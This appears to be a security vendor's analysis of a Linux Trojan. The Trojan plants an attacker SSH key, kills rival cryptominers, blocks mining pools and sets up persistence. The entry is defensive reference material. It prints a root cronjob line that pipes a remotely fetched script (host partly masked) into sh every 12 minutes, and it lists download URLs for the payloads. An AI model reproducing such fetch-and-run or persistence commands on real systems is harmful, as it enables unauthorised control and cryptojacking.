Analysis by: Jemimah Mae Molina
 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to certain websites to send and receive information.

  TECHNICAL DETAILS

File Size: 148,008 bytes
File Type: ELF
Memory Resident: No
Initial Samples Received Date: 19 Mar 2019
Payload: Deletes files, Connects to URLs/IPs, Drops files, Terminates processes

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • /etc/rzx - contains the new file name of its miner
  • /root/.ssh/authorized_keys - contains the attacker's SSH public-key

It creates the following folders:

  • /root/.ssh

Other System Modifications

This Trojan deletes the following files:

  • /tmp/ddg*
  • /tmp/wnTKYg
  • /tmp/qW3xT.2
  • /tmp/ddgs.3013
  • /tmp/ddgs.3012
  • /tmp/2t3ik
  • /tmp/root.sh
  • /tmp/pools.txt
  • /tmp/libapache
  • /tmp/config.json
  • /tmp/bashf
  • /tmp/bashg
  • /tmp/libapache
  • /tmp/kworkerds
  • /bin/kworkerds
  • /bin/config.json
  • /var/tmp/kworkerds
  • /var/tmp/config.json
  • /usr/local/lib/libjdk.so
  • /tmp/.systemd-private-*
  • /usr/lib/libiacpkmn.so.3
  • /etc/init.d/nfstruncate
  • /etc/init.d/ats
  • /etc/zigw
  • /tmp/zigw
  • /etc/zjgw

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • wnTKYg
  • ddg*
  • stratum
  • xmrig
  • /var/tmp/java
  • ddgs
  • qW3xT
  • t00ls.ru
  • sustes
  • Xbash
  • hashfish
  • .syslog
  • xig
  • systemctI
  • tsm
  • zigw
  • zjgw
  • Processes that use the following ports:
    • 3333
    • 4444
    • 5555
    • 6666
    • 7777
    • 3347
    • 14444
    • 14443

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://w.{BLOCKED}i.xyz:43768/pvds
  • http://w.{BLOCKED}i.xyz:43768/httpdz
  • http://w.{BLOCKED}i.xyz:43768/migration
  • http://w.{BLOCKED}i.xyz:43768/rm
  • http://w.{BLOCKED}i.xyz:43768/crontab.sh

It saves the files it downloads using the following names:

Other Details

This Trojan connects to the following website to send and receive information:

  • http://w.{BLOCKED}i.xyz:43768/
  • http://w.{BLOCKED}n.xyz:43768/
  • http://w.{BLOCKED}n.com:43768/

It does the following:

  • It blocks all outgoing SSH connections on the following ports:
    • 3333
    • 5555
    • 7777
    • 9999
    • 14444
  • It modifies the system's HOSTS files to prevent users from accessing the following websites:
    • mine.{BLOCKED}pool.com
    • xmr.{BLOCKED}-pool.fr
    • {BLOCKED}hash.com
    • {BLOCKED}l.eu
    • pool.{BLOCKED}r.com
    • pool.{BLOCKED}r.cn
    • xmr.{BLOCKED}o.be
    • stratum.{BLOCKED}r.com
    • pool.monero.{BLOCKED}ult.pro
    • xmr-us.{BLOCKED}va.cc
    • de.{BLOCKED}mr.com
    • de2.{BLOCKED}mr.com
    • fr.{BLOCKED}r.com
    • de.{BLOCKED}r.com
    • ca.{BLOCKED}r.com
    • sg.{BLOCKED}r.com
    • xmr.{BLOCKED}anpool.com
    • xmr-usa.{BLOCKED}ool.com
    • monero.{BLOCKED}s.pro
    • xmr.{BLOCKED}h.net
    • {BLOCKED}i.com
    • {BLOCKED}mr.ru
    • {BLOCKED}in.com
    • {BLOCKED}y.ru
    • {BLOCKED}ate.com
    • {BLOCKED}ra.in
  • It creates the following service:
    • Service name: ats
      Description: service
      Task to be run: nohup /etc/initdz > /dev/null &
  • It creates a root cronjob to enable automatic execution of crontab.sh every 12 minutes:
    • Path: /var/spool/cron/root
      Content: */12 * * * * curl -fsSL http://w.{BLOCKED}i.xyz:43768/crontab.sh | sh

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.882.01
FIRST VSAPI PATTERN DATE: 19 Mar 2019
VSAPI OPR PATTERN File: 14.883.00
VSAPI OPR PATTERN Date: 20 Mar 2019

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